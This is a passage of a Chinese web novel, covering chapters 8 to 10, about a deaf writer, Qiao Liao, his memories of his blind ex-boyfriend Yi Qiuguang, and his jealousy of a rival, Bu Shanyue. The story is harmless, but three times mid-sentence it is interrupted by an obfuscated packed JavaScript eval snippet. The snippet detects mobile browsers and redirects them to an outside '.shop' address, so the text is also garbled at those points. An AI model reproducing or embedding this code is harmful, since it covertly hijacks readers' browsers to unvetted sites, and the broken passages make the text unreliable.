他们之间的沟通全凭触碰,易秋光能说不能写,还不会手语,乔辽听不见说不了,看不懂盲文。 在遍地都是智能机的时代,他们没有手机,因为有了也用不上,他们每天都在彼此身边,手机更像是一个用不上的废品。 就连最便宜的按键机,对他们而言也是没用的。 除开这些因素,更多的原因还是没钱。 他们宁愿拿着这笔钱去交房租,去生活,他们盼着日子能一天比一天好,尽管他们没办法沟通,但乔辽觉得,他们的想法肯定是一样的。 对他们而言,最有用的东西,是那块被乔辽戴在腕上的手表。 那个时候的乔辽在学校图书馆工作,易秋光找了一份电话客服的工作。 这件事还是郭宝卓告诉他的,那天,郭宝卓站在他们中间,干着手翻的活儿。 郭宝卓先是听易秋光说,然后又用手语告诉乔辽。 郭宝卓比画着:易秋光说,他工作的地方离学校图书馆比较远,但这份工作还算轻松,只需要接电话,没有任何销售的要求,就是工资有些低。 工资低也没什么,反正他们的生活开销并不大,钱嘛,攒攒就出来了,更何况他还能挣点稿费,虽说没多少,但怎么说也是钱。 乔辽写小说这件事已经很久了,他从小时候就爱写,还是福利院的老师教他的,那个时候应该叫“作文”或者“日记”,但时间一长,他就爱自己编点故事,慢慢地,就写上了小说。 那个时候,他的小说是写在纸上的,后来,老师开始教他在网上发小说。 乔辽一天比一天大,自己也有了小心思,他干脆换了网站和笔名,就连写的题材都换了。 但他还是会把文字先写在纸上,因为他不是随时随地都能碰到电脑。 离开福利院后,乔辽也没钱买电脑,只能每隔一段时间,就去一次网吧。 他每次都会带着一个本子,花上一些时间,把本子上的文字用键盘敲出来。 也是没想到,写小说这件事能被他坚持到现在。 读者一天比一天多,他对小说的热爱也越来越深。 就是稿费太少,乔辽每个月都花得有些舍不得,但这钱要是花在易秋光身上,他并不会觉得心疼。 包括他手上那块表,也是用稿费买的,这块表便宜,还不到五十块钱,但这块表走得准,从不会耽误事。 这块表的作用,是让乔辽确定时间。 他下班时间要比易秋光早,乔辽每天都会和易秋光约好时间,比如五点。 乔辽会握着他的手,数五根手指头,然后在他的手心画出一个屋顶的形状。 这样,易秋光就会明白,乔辽会在几点去接他回家。 可就是在这样的生活里,在这种没有手机的日子里。 易秋光到底是怎么认识捕山月的? 8. 独属 他坐在那里想了好久,喝完手边那杯酒后,郭宝卓又给他点了一杯。 喝完三杯,乔辽的脑子也快转不动了,也不知道这人给他点的多少度的酒,喝完怎么能有这么大后劲。 他把那些和易秋光在一起的日子都想了一遍,但那些记忆里,完全没有捕山月这个人的影子。 突然,乔辽又想到了另一个男人——佟舟。 在他和易秋光分手后,这人立马就成了易秋光的新欢,速度快到令人难以想象。 易秋光啊……到底背着他认识了几个男的? 乔辽端起酒杯,又要往嘴边递,郭宝卓立马“哎”了声,说道:“差不多得了,你都快喝大了。” “没,”乔辽放下杯子,看着郭宝卓,“你坐好,别晃。” 郭宝卓有些无奈地说:“我没晃,是你在晃。” “你放屁,”乔辽只觉得喉咙有些发干,他吞咽一口,又说道,“你听我说啊,你先听我说。” 紧接着,乔辽抬起手。 他开始比画着:我以前和易秋光在一起那么久,从没发现易秋光身边还有这么个人。 “你那个时候和易秋光能沟通吗,”郭宝卓叹出一口气,“根本不能,你没发现捕山月的存在也是正常。” 乔辽愣了一下,又比画着问郭宝卓:你以前发现过没,你也没听他提起过? “没有,他和我也不怎么聊天,”郭宝卓说,“再说了,他又不是我男朋友,我也不会去注意这方面。” 抬起的手顿了顿,过了一会儿,乔辽比画道:那他是怎么敢的,怎么就能在我眼皮子底下出轨?他当我聋啊,真当我听不见? “你别激动,易秋光那个时候真的出轨了吗,他给你说的还是你自己发现的,都没有,对吧,”郭宝卓站起身,走到乔辽旁边,拉着他的胳膊,把这人扶了起来,“还有啊,你就是聋,那个时候的你,确实是什么都听不见,可是,我觉得易秋光干不出这种事,他不会这样做。” 乔辽被郭宝卓带着往外走,走到门口的时候,他还记得拿走那把长柄伞,郭宝卓见他这样,在边上“啧”了声,说道:“说你喝多了吧,你打手语还挺顺溜,走路不乱晃,伞也记得拿,但你怎么总板着一张脸啊,酒精攻击大脑了?在想什么呢。” “没想什么,”乔辽摇摇头,盯着眼前的马路问他,“我们怎么回去?” “我找个代驾。”郭宝卓说完这话,接着就拿出手机开始扒拉。 乔辽“嗯”了声,甩开他的胳膊,蹲在了门口。 他看着眼前的一切,感受着大脑带来的晕眩。 马路啊好长一条,路灯好亮一个,江城的雨下得就跟停不下来似的,边上这人,也吵得跟个喇叭一样。 郭宝卓的话就没停下来过,他一直说些有的没的,说得乔辽更头晕了。 在郭宝卓第无数次开口的时候,乔辽选择摘下助听器和耳蜗。 他把这两样东西收起来放进兜里,再次看向眼前已经安静的世界。 郭宝卓估计也是喝多了,他只顾着说自己的,根本就不管乔辽是不是在回应。 在代驾过来之后,郭宝卓终于不和他说话了,这人闭上了嘴,老老实实上了车。 乔辽看见郭宝卓和代驾说了几句,接着又看向他开始不停说话,分辨口型是件麻烦事,更何况郭宝卓现在说话的速度就和打电报一样,乔辽选择不看,干脆闭上了眼。 他能感受到车在往前行驶,接着是一个拐弯,再然后……是郭宝卓扒拉他头发。 乔辽不想睁眼,但郭宝卓不乐意,这人直接上手开始扒拉眼皮。 这力度大的,就差把眼珠子扣出来了。 睁眼的下一秒,郭宝卓立马开始比画:几个意思?不爱听我说话? 是的,你怎么知道呢,乔辽笑着朝他点头。 车窗外的建筑快速移动着,外面的一切都是熟悉的模样,乔辽估计着,再有一会儿就能到家了。 郭宝卓估计是怕他又闭上眼,扒拉眼睛的手还是没拿开,这人又把另一只手放到耳边做出“听”的手势。 乔辽伸出食指晃动两下,问他:什么? 下一秒,郭宝卓拿开手,快速比画道:我到底在坚持什么,他真的喜欢我吗,你说,我还在坚持什么? 坚持自己的喜欢,觉得你们有一天真的会在一起。 这是乔辽的回答。 比画完这句后,郭宝卓沉默了一会儿。 在快要下车的时候,郭宝卓又冲着他比画道:你不明白,我从看见他的第一眼起,就喜欢他了。 乔辽没有回应这句话,车停稳后,他对郭宝卓比画道:你到家了给我发个消息。 然后,他撑开伞下了车。 雨水落在伞面,没有发出啪嗒啪嗒声,他走在回家的路上,感受着迎面吹来的风,有好几次,他都踩进了水坑里,那些泥巴水溅起来,扑向他的鞋面。 积水太多,他根本就躲不了。 就连那些地砖,都成了让乔辽无奈的存在。 迈出的每一步都成了未知,谁都不知道,下一步会不会正巧踩上一块已经浸满水的地砖,但他没办法低着头走,更没办法用直觉去避开那些翘起的地砖。 他得看着前方。 在没有声音的世界里,他能相信的只有自己的眼睛。 他用自己的眼睛,找到了那个在天桥底下捡馒头吃的易秋光。 又用自己的眼睛从人群中找出了易秋光。 郭宝卓最后说出的那句话,乔辽不想回答,也不知道该怎么回答。 他和易秋光认识得太早,他们的第一眼,是孩童的第一眼。 根本就谈不上喜欢。 那是一种感觉,是直觉的选择。 没有任何声音的指引,是乔辽依靠直觉的一眼。 那一眼之后,他的视线也只能找到易秋光了。 他们两个待在不一样的福利院,想要见面只能等着福利院举办活动,但乔辽觉得,他的运气很好,因为他在学校碰到了易秋光。 他喜欢和易秋光一起玩,但他们两个人不能沟通。 好在还有郭宝卓这个人。 郭宝卓的手语翻译工作,大概是从小时候就开始了,他每天都跟着乔辽一起玩,但乔辽又想跟着易秋光玩。 没了办法,郭宝卓每次都得在中间不停地翻译,最后就成了他们三个人一起玩。 乔辽从郭宝卓的手语里了解易秋光,也让郭宝卓帮忙把自己的心情给传达出去。 时间慢慢往前,他们慢慢长大,乔辽还是会和易秋光在一起玩,郭宝卓却有了别的朋友。 他不能再一直跟着乔辽他们,也不能继续在中间充当着翻译的角色,乔辽开始慢慢学着和易秋光沟通。 用触碰。 他牵着易秋光的手,带着他在学校的操场上慢慢走,易秋光却一次又一次地带着他往别处走。 在被盲杖打了之后,乔辽终于明白了,易秋光想去厕所,不想继续在操场上晃悠。 他和易秋光的沟通常常会出错,为了理解对方的意思,他们之间的触碰也变得更多。 手和手的交流,在彼此腿上和背上的轻触,一笔一画,轻点和轻抓。 这都是他们的语言。 是属于他们之间的悄悄话。 乔辽走得有些慢了,他的思绪也是慢慢地,当他走进单元楼,外面的雨还是依旧,长柄伞被他收起,轻甩两下,然后,乔辽走进了电梯。 眼睛是很累的存在,特别是他的眼睛。 就算这双眼睛已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140542|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸痛,在电梯里时,他还是不敢闭上眼。 因为他没办法判断电梯开门的时间,一旦闭上眼,那他的世界里,就什么都没有了。 他轻眨两下眼睛,几秒后,电梯到达楼层。 乔辽回到家的第一件事,就是把长柄伞靠墙放好,愣了两秒后,他打开灯,走到冰箱前喝了一大杯冰水。 冰水下肚,想吐的感觉一瞬间涌了上来。 他在厕所里吐得昏天黑地,也不知道自己呕吐的声音到底有多难听,但他现在的确挺难受的。 晚上本来就没吃饭,现在还吐成这样,乔辽只觉得胃里在翻腾,他撑着墙面站起来,走到洗手池边洗了把脸,乔辽盯着镜子里的自己,盯着那双属于自己的眼睛。 就是这双眼睛,看了易秋光一眼又一眼。 他在这双眼睛里,看着易秋光一天天长大,也是在那些日子里,易秋光成了他的全世界。 可这个全世界,似乎并不是独属于他的。 乔辽抬手蹭了一下脸上的水,转身往客厅走,他本来是想在沙发上坐一会儿的,等着醉意褪去,再去洗个澡。 端正地坐在沙发上肯定是不舒服的,更何况他现在就不太好受,乔辽干脆往后靠,偏头看向紧闭着的阳台窗户。 从窗户望出去,能看见对面那栋楼,有几户家里亮着灯,偶尔有几个人影走过,然后,对面的灯一盏接一盏熄灭,窗外成了漆黑一片。 乔辽看见雨被风吹上窗户,蜿蜒着滑落,还记得,他和易秋光在一起的那天,洪城也是像这样,下着大雨。 那一年的他们刚步入大学,专业也不同,每次约时间见面还是只能靠郭宝卓,这人当时还说,他生来就是干手语翻译的命,从小就有工作经验。 也多亏郭宝卓帮忙,他们很快就熟悉了学校环境,也能在固定的时间见上一面。 乔辽在那个时候就觉得,易秋光和他是一体的。 从小时候开始,他们就是一起的。 他能把这种心情告诉郭宝卓,但他没办法对易秋光表达出这种心情和占有欲。 这种感觉在心底越压越深,最终,在那个下雨的夜晚,乔辽没能忍住。 他们打着同一把伞,走在易秋光回宿舍的路上,易秋光握着他的手,把他的手递到雨中,雨啪嗒啪嗒落在他掌心,冰凉的触感让乔辽一瞬间起了鸡皮胳膊。 接着,易秋光把手放到他背后,大力地抓了两下,当手离开后背,易秋光又把手放到耳边,做出“听”的手势。 大概,易秋光是在告诉他,这场雨的声音很大。 乔辽望向那些落下的雨,然后握住他的手,在手心慢慢写出一个“吵”字,然后画下一个问号。 易秋光摆摆手,大概是在想要怎么表达,过了一会儿后,乔辽看见他笑了起来,左边的虎牙也露了出来。 他先是竖起大拇指,然后把手放到耳边,最后摸索着握住乔辽的手,在手心写出一个“好”字。 这一刻,乔辽似乎都能听见雨声了,雨声急促,和他的心跳一样。 可惜他不知道,那种急促的声音到底是什么样。 他只知道,易秋光的笑容太好看了,手心的温度也太令人喜爱,他想凑上前去,好好看看易秋光的脸,事实上,乔辽也确实这么做了,可他凑上去之后,雨伞倾斜,雨全都落到他的背上,易秋光大概也是感觉到了有人凑近,便伸手去摸索。 摸索的结果,就是摸到了乔辽打湿的后背,易秋光伸手在他背上点了点,应该是在询问,为什么衣服会是湿的。 紧接着,易秋光又去摸伞,乔辽还是站在那里没动,他看着易秋光离自己越来越近,心里那种按捺不住的情绪一下子到了顶点。 他吻了上去。 不偏不倚,落在唇上。 9. 铃铛 在这个亲吻结束后,易秋光抿了抿唇,他歪着脑袋,似乎是在问乔辽,这个吻到底是什么意思。 乔辽也不知道该怎么形容,只好伸出食指,轻点一下易秋光的唇。 接着就在他胸口轻碰一下。 再然后,他牵起易秋光的手,和他十指相扣。 他想说,我亲了你,是因为,我想和你一直待在一起。 一直,紧握住你。 也不知道易秋光有没有明白他的意思,乔辽就这么站在那儿,看着易秋光,不敢再有什么动作。 毕竟,这人没扬起盲杖打他一下,已经算是很好的结果了。 但下一秒,易秋光抬手往乔辽胸口点了一下,接着又点向自己的胸口,他们相握的手被易秋光带着晃了晃。 这是什么意思? 乔辽不太理解。 还没等他把这几个动作琢磨明白,易秋光突然伸手摸了摸他的脸,然后搂住他的脖子,带着他往前。 这次的主动方是易秋光。 在这个吻结束后,易秋光握着他的手,摊开掌心,用食指缓慢写出一个“我”,然后是“你”。 乔辽在心里念出这两个字,他以为,易秋光接下来还会写些什么,但这次是他猜错了。 易秋光什么都没写,而是直接在手掌心画着线条,乔辽偏着头,看着指尖落下的地方。 是个心的形状。 指尖轻缓移动的每一下都带着酥麻,那种痒的感觉几乎快要传遍全身,易秋光的意思是什么,爱心的意思又是什么,他也和我一样,想一直和我在一起吗。 不管了。 乔辽深呼吸一下,再次吻了上去。 这个吻似乎持续了很长时间,具体是多久呢。 他想不起来,思绪也变得混乱,画面突然一转,身边的雨全都停在半空,拼命上升。 太阳出来了,他手中的伞也凭空消失。 易秋光和他坐在江边的长椅上,这人手里拿着一条用红绳编成的铃铛手链,这个手链被易秋光拿在手里轻轻晃动,他看见铃铛也在不停晃着,但他不知道,这个铃铛到底是什么声音。 这条手链,被易秋光戴到他右手的手腕上。 大概是为了确认手链已经戴好,易秋光握着他的手,左右晃动两下,为了听铃铛的声音,易秋光还微偏着头。 他带着乔辽的手一下下轻晃,嘴角也跟着扬了起来。 铃铛的声音这么好听吗,易秋光看着好像很开心的样子。 乔辽抬手放到自己耳边晃了晃,好可惜,他还是什么都听不见。 也没办法知道,易秋光的开心会是一种什么声音。 而且他这个铃铛……好像那种小狗挂在脖子上的,但他这个铃铛,又比狗铃铛要小点。 乔辽突然觉得,他现在就像是易秋光的导盲犬,手腕上的铃铛就是易秋光用来判断他是否还在身边的方法。 当易秋光的狗吗。 那很好了。 乔辽愿意,且为此感到愉悦。 他再次晃动手腕,铃铛轻摇,紧接着,他感觉到了手机的振动。 乔辽一下子愣在那儿,一个眨眼后,他的眼前已经没有易秋光了。 他在江城,坐在家里的沙发上。 就连他的手腕上,也没有那条手链。 乔辽从口袋里拿出手机,关掉闹钟,坐在沙发上继续发呆,在那里愣了好一会儿后,他才想起来,今天还得去工作室。 现在的时间只够他出门随便对付一口,然后打车赶紧过去。 多一点犹豫和耽搁都不行。 但他昨晚是在沙发上睡的,这一觉睡起来,虽说身上没有什么酒味,但头发还是挺乱的,乔辽选择放弃早饭时间,先洗个澡。 当他洗澡结束,换上干净衣服,时间已经完全不够用了。 乔辽盯着手机屏幕上显示的时间,叹了口气后,点开聊天APP,找出易秋光的联系方式。 发出去一句:三季老师,今天起晚了,大概会晚来十几分钟,抱歉。 易秋光回得很快,但字也很少:好的,没关系。 得到回复后,乔辽也放慢了速度,至少不用再这么匆匆忙忙的,在出门之前,他戴上了耳蜗和助听器。 最后,拿上那把长柄伞。 关门的声音响起,乔辽看了眼手机显示的时间,在心里想着,等会儿就去小区门口的包子铺买两个包子,喝杯豆浆得了,站在路边吃完正好还能顺手拦辆车。 确实也和他预估的一样,当他丢掉装包子的塑料袋后,一辆空车驶了过来,乔辽伸手拦车,上车后说了目的地,给豆浆插上吸管,喝上一口。 突然,司机一个急刹车,乔辽猛地吞下口腔里的豆浆,那种很难受的感觉又上来了。 他本来就不算很清醒,早上那两个包子也是勉强吃下去,这一个刹车之后,乔辽直接都快吐了。 这一路上,乔辽没再喝一口豆浆,他把车窗全都降下来,任由那些风往他身上吹。 风吹得他有些眼眶发酸,乔辽闭上眼,感受着车往前行驶的速度,脑子里全是郭宝卓昨天比画的那些。 他不知道郭宝卓到底在坚持什么,他也不明白自己现在到底想怎么做,他只知道,在重新遇见易秋光的那一秒,他的心跳最先做出了反应。 接着就是他的眼睛。 眼睛认为,易秋光依旧是他的全世界。 车辆缓缓停下,乔辽睁开眼的第一反应就是想吐,他皱眉强忍着,付完钱后下了车。 踩上地面时,乔辽都怀疑自己踩在江水里,飘飘晃晃,毫无真实感,他看了眼时间,已经快要晚到半小时了。 乔辽慢慢走到工作室门口,深吸口气,想吐的感觉还是没有缓解,他喝上一口豆浆,想要把这种难受压下去。 下一步往前迈去,他听见了盲杖敲击的声音。 易秋光也听见了他的脚步声,缓缓看向他的方向,偏着脑袋说道:“是故听老师吧。” “是,”乔辽往前走了两步,站在易秋光面前,“抱歉,来晚了。” “没事的,我正准备给你发个消息,”易秋光说,“有点担心你是不是忘记过来的路了,想着干脆去外面接你。” “不用,我记得路。”乔辽说完这句,想吐的感觉直接冲到嗓子眼。 他就这么在易秋光面前干呕一下。 易秋光愣住几秒,接着就快速往前走了两步,他伸手摸向乔辽的胳膊,接着是后背。 轻拍两下后,易秋光问他:“故听老师,是有哪里不舒服吗?” 掌心轻拍的幅度让乔辽感到后背发麻,他偏头去看易秋光,心跳再次做出了反应。 “昨天喝了点酒,”乔辽抿了抿唇,笑着说道,“真没事。” 但下一秒,他的笑容就被收回,因为捕山月从二楼走了下来。 这人一边走一边盯着乔辽,开口说话却是对着易秋光说的。 “好了,既然故听老师来了,那我们就去会议室吧,”捕山月把易秋光的手从乔辽背上拿开,接着就握着这人的手腕冲乔辽笑了笑,“走吧,故听老师。” 乔辽回给他一个笑容,什么都没说。 捕山月在带着易秋光走的时候,还顺手拿走了他手里的长柄伞。 这两个人当着他的面转身,往二楼走。 下一秒,乔辽脸上的那抹笑容也跟着消失。 围读过程还是那样,对乔辽来说没什么不适应的,但今天多了一个捕山月。 这人倒是挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140543|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随意的,有空位不坐,非要坐在易秋光旁边。 横在他和易秋光中间。 乔辽一偏头就能看见捕山月那张脸,本来人就不舒服,现在好了,直接连话都不想说了。 想做的事情,只剩下了叹气。 不说就不说吧,反正也说不太利索,正好给他省事了。 乔辽沉默了一上午,那杯豆浆也被他慢慢喝到底部。 从烫嘴到温热,最后一口的豆浆都变成了凉的。 喝完后,乔辽还是没觉得自己有好一些,那种想吐的感受一直卡在喉咙,脑袋也跟着一起发晕。 碰上实在是需要说话的时候,乔辽就一个字一个字地往外蹦,临近午饭点时,易秋光突然站起身,朝着乔辽那边喊了声:“故听老师,你跟我来一下。” 这句话出来,捕山月也跟着看了过来,乔辽瞥了他一眼,在心里想着,看什么看,有什么好看的,易秋光叫的又不是你,坐着吧你。 他跟着易秋光走了出去,这人在前面用盲杖敲击地面,带着他走到了休息室。 “正好还有一些蜂蜜,我给你泡一点,”易秋光慢慢摸索着,拿出一个一次性纸杯,“你昨晚喝了很多?” “还好。”乔辽说。 易秋光“嗯”了声,往直饮水机旁边走。 他先是给水杯里接上水,接着就在旁边那张桌子上摸索着,易秋光应该是对蜂蜜摆放的位置很熟悉,很快就找到了正确的方向,并拿起罐子拧开盖儿。 他往杯子里倒了些蜂蜜,盖上盖子后,又找出一个一次性的勺,放进杯子里搅拌两下。 易秋光端着这杯蜂蜜水,再次走回乔辽身边。 “喝吧,”他把蜂蜜水递上前,对乔辽说,“喝点就没那么难受了。” 乔辽接过杯子,掌心瞬间感受到温热,他喝上一口,视线依旧停留在易秋光身上。 “是不是好多了?”易秋光对着他笑,“是在为写作寻找灵感吗,怎么把自己喝得这么难受,你今天好像更不爱说话了,还总叹气。” “好多了,”乔辽也不知道该怎么回答这个问题,他总不能说,自己是被那个捕山月气的吧,“麻烦你了,还帮我泡蜂蜜水。” “不用这么客气,”易秋光问他,“中午你要回去休息吗,不回的话,一起去吃饭吧,就我们两个和捕山月。” 家是不回的,饭是要吃的。 要是不带捕山月,乔辽会更乐意。 他正准备答应,下一秒,周围的声音突然变小,乔辽皱了皱眉,听见助听器响起提示音。 接着就是耳蜗。 挺好,他就知道,人在倒霉的时候是会一直倒霉的。 昨天回去晚,他坐在沙发上就睡了,耳蜗和助听器都没充电,备用电池也没带。 出现这种情况,也是他自找的。 乔辽努力找回自己的声音,再次喝下一口蜂蜜水。 “不了,”他分辨着周围的动静,眼睛一直盯着易秋光的唇,“我下午就不来了。” 易秋光偏了偏头,接着就张开嘴说着什么。 但乔辽的世界已经没有声音了,这一切都来得好快。 他现在甚至都不敢开口说话,担心自己的发音会变得奇怪,变得无法控制。 没得到回应的易秋光又开了口,乔辽分辨着口型,估计易秋光是在问他为什么这么突然,是不是因为太不舒服了,那就回去好好休息,明天再来。 乔辽吞咽一口,憋出一个“嗯”。 这是他唯一敢发出的声音。 这一声落下,乔辽喝光手里那杯蜂蜜水,转身离开,他走出的每一步都没有声音,就连身边人冲他露出的笑容都令他感到恐慌。 耳聋,让乔辽失去了所有安全感。 10. 回复 离开工作室后,乔辽把空杯子丢进垃圾桶,他挨着墙壁,快步往老城区外面走。 走到吵闹的街道时,乔辽更觉得心里发慌。 正巧过来一辆出租车,乔辽伸手拦下,上车后就在手机上打出目的地的位置,递给司机看。 看见司机点点头后,乔辽往后靠去,望向窗外。 明明他以前的日子就是如此。 一切都是静音,他应该早就习惯这种日子了,可令他没想到的是,当他的世界出现声音之后,这种突来的无声反而成了他的恐惧。 在一个人独处的时候,这种事也发生过,他那次还觉得没什么。 但他没想到,在人多的时候,竟然会感到如此地手足无措。 今天还是在易秋光面前,他更是感到窘迫。 就好像在那一瞬间,他立马就比捕山月低了一头。 换作以前,乔辽根本不屑和任何人比。 但这人要是出现在易秋光面前,那乔辽就会想咬人了。 狗认主。 他就算不当导盲犬了,也不允许别人来插一脚。 凭什么,凡事都论个先来后到,他只是和易秋光分手了,又不是死了。 想到这里,乔辽心里才算舒服了一点。 车拐了个弯,他的手机也跟着振动一下,估计是郭宝卓发来的消息,不是废话就是闲得发慌。 可当他把手机屏幕点亮后,看见屏幕上显示着,发来消息的人是易秋光。 这人发来一条问候:到家了吗? 乔辽回复:在回去的车上。 这条消息发出去后,他盯着屏幕,对方显示“对方正在输入”,也不知道是想说些什么,乔辽盯得眼睛都开始发涩,易秋光的回复还是没有过来。 车缓缓停下,乔辽终于挪开视线,支付完车费后下车。 手机已经熄屏了,也没有任何振动出现,但乔辽还是会把手机时不时拿到眼前看一下。 要是手机突然坏了,收到消息不振动呢,要是因为他把注意力全放在看路上,没注意到手机发来的消息呢。 但乔辽想多了,易秋光的那句回复,直到他进了家门都没发过来。 乔辽到家后的第一件事,就是给助听器和耳蜗充电,然后再发个消息骂郭宝卓。 给他点的什么破酒。 喝完又吐又头疼,后劲还能持续这么久。 做完该做的事,乔辽选择去电脑前坐着。 早点写完更新,晚上还能早点休息,赶稿什么的,也不一定非得留到最后一刻。 但他的灵感并不同意这个想法,乔辽写写停停,一会儿站起来一会儿看手机,再过一会儿还得把易秋光的聊天界面点开看看。 反正,写不出来的时候,干什么都比写小说有趣。 聊天界面被他反复点进去,终于,那行“对方正在输入”再次出现。 但这次,依旧没有任何消息发过来。 乔辽挺纳闷的。 但他知道,不懂就发问。 于是,他甩了个问号过去。 高冷,不啰嗦,有话就直说。 这次,那行“对方正在输入”只出现了一会儿,屏幕上终于跳出了易秋光的消息。 这人的回复简直就是和乔辽对着干。 三个字:怎么了? 这让乔辽怎么回,直说吗,说他看见了屏幕上的显示,但一直没等到回复,所以想问问易秋光,到底是想说什么。 但他的脑子和他的手不是同一个想法。 手在屏幕上快速敲出几个字发出去:没什么。 接着又是焦急地等待,乔辽心不在焉地敲着键盘,写了删,删了又写。 终于,易秋光的回复再次出现。 他说:现在到家了? 现在多了一个比写小说更有意思的事,实在不行就熬个夜,反正他还年轻,能熬。 乔辽拿起手机开始打字:到了。 他想着,这两个字会不会太短了些,要是他收到这种消息,也不一定会回复,纠结几秒后,乔辽又在后面加上一句:上午的围读快结束了吧? 全是废话,明知故问。 但好在,这种废话的确能得到回复。 还是带图片的那种。 易秋光拍了张照片,是桌子上的菜。 照片边上有个胳膊,那狗爪子应该是捕山月的。 早知道就不问了,这破手,打字怎么就能这么快,问个别的不比问这个强吗,乔辽盯着这张照片沉默几秒,正想着该怎么回复。 易秋光又发来一句:已经在吃了,和捕山月一起,给你看看吃的什么,就是不知道这张照片拍得稳不稳,我问了捕山月,他说,拍得还挺好的。 沉默是乔辽现在的底色。 这能拍得不好吗,都把那人的狗爪子拍进去了,故意的吧,绝对是故意的,真服了多大的人了还这么幼稚,捕山月你大爷的! 下一秒,手机又收到一张照片。 三季:又上了一道菜,这个还挺好吃的。 这张照片,肯定也是狗爪子亲自指导,易秋光是单手拍的,左手放在桌面,捕山月的狗爪子就这么挨在边上。 和易秋光的手放在一起。 挺好的,生活版情侣照是吧。 乔辽打出一句:那你多吃点。 发出去后,乔辽盯着那张照片看了两眼,又说了一句:看得出来,三季老师和捕山月老师的关系很好。 乔辽现在不急着等回复了,他把手机往床上一丢,根本就不想知道易秋光会回复什么。 这人现在老实了,坐在电脑前敲着键盘,有一句没一句地瞎写,估计这些被他写出来的字,等会儿又会被一个接一个地删掉。 终于,当他打出下一句废话时,乔辽扭头看向床上。 手机屏幕暗着。 乔辽当时一抬手,就把手机丢进了空调被里,压得这床薄被陷下去一部分。 眼睛看不出手机的振动,更何况是这种藏在柔软被子里的振感。 不等了,我为什么要躲? 去你的吧,我就看一眼。 一眼就行。 他从椅子上站起来,走到床边弯下腰,拿起手机,大拇指点亮屏幕。 识别到人脸,手机自动解锁,屏幕被滑动一下,乔辽看见了易秋光的回复——是啊。 多简单的两个字,简单到都不愿意给乔辽举两个例子。 比如最简单的例子,是啊,我和他是同事,关系好点也正常。 再不行还可以说,是啊,我和他毕竟熟嘛。 这种说法,乔辽也可以接受。 但他要是只说两个字“是啊”,乔辽接受不了。 这两个字就跟自带屏障一样,让乔辽觉得,他是一个没资格知道这些的人。 他只需要知道,易秋光和捕山月很亲密。 这就够了。 想到这里,乔辽果断点开郭宝卓的聊天界面,把这人又骂了一遍。 手机再次被丢回床上,乔辽走出卧室,从冰箱里拿出一瓶冰可乐,一口气喝了大半瓶,汽水冲得他鼻子发酸,想打嗝也打不出来。 现在好了,喝了一肚子汽水,也喝了一肚子气,比刚才更难受了。 乔辽坐到沙发上,往后靠着,视线看向窗外。 大片乌云在天边晃着,远处的建筑也被雾遮盖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140544|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天气变得太快了,汛期里就是如此,下雨从不按着天气预报来,就算提前打好招呼,也不一定会准时到达。 他这种偏头的姿势不算舒适,呼吸也不太顺畅,乔辽的视线跟着那朵乌云走啊走,在他目送这朵乌云离开后,后面跟着出现的,还是乌云。 乔辽想着,这种天气,和易秋光还挺像的。 在他无声的世界里,易秋光就像是春日拂过脸庞的清风,一抬头就能看见的大朵白云,花香味和青草味融合在一起。 易秋光构建出他的整个世界。 汛期里的雨季也像极了这个人,涨潮后的江边带着潮湿的气息,乔辽一直都将这种气味和易秋光画上等号,当江风迎面扑向他,就像是易秋光用手触碰着他的脸庞。 窗外的风吹了进来,乔辽眯了眯眼,乌云再次晃过去一大片。 他和易秋光分开的这两年,就像是一场急速到来的大雨。 这场雨在乔辽心里扎了根,只要有一点回忆牵动他的思绪,雨水就会毫不留情地在他心里拼命往下砸,那些和易秋光的回忆就是大片大片的乌云,沉在他的心里,上下飘忽不定。 压得他喘口气都快要窒息。 没错,易秋光出现在他无数个梦里,好的坏的,不可言说的,全都是这个人。 他每出现一次,乔辽心中的乌云就会变得更灰蒙蒙一些。 但还好,只是两年罢了。 不是二十年,也不是四十年,只是短短的两年。 最令乔辽感到压抑的,是跟着这些回忆一起出现的铃铛手链。 在梦里,那条手链晃了又晃,他牵着易秋光走了又走,可他什么都听不见。 他好想问一问易秋光,秋光,这个铃铛的声音到底是什么样,你的声音到底是什么样? 秋光……你到底,爱我吗? 风再次从窗外吹了进来,乌云彻底将整片天空都变得黯淡,客厅采光也一下子变得差起来,显得有些阴沉。 乔辽抬起右手,转上两圈。 他轻轻晃了晃手,但此时在他手上,并没有那条铃铛手链。 乔辽还记得那条手链的样子,甚至都能在脑袋里还原出铃铛摇晃的幅度。 毕竟,这条手链被易秋光戴到他腕上,那么多年。 他也不知道这个铃铛的声音到底有多大,乔辽只知道,戴上这条手链后,易秋光能更快地找到他。 每一次。 乔辽会和铃铛声一起,走向易秋光。 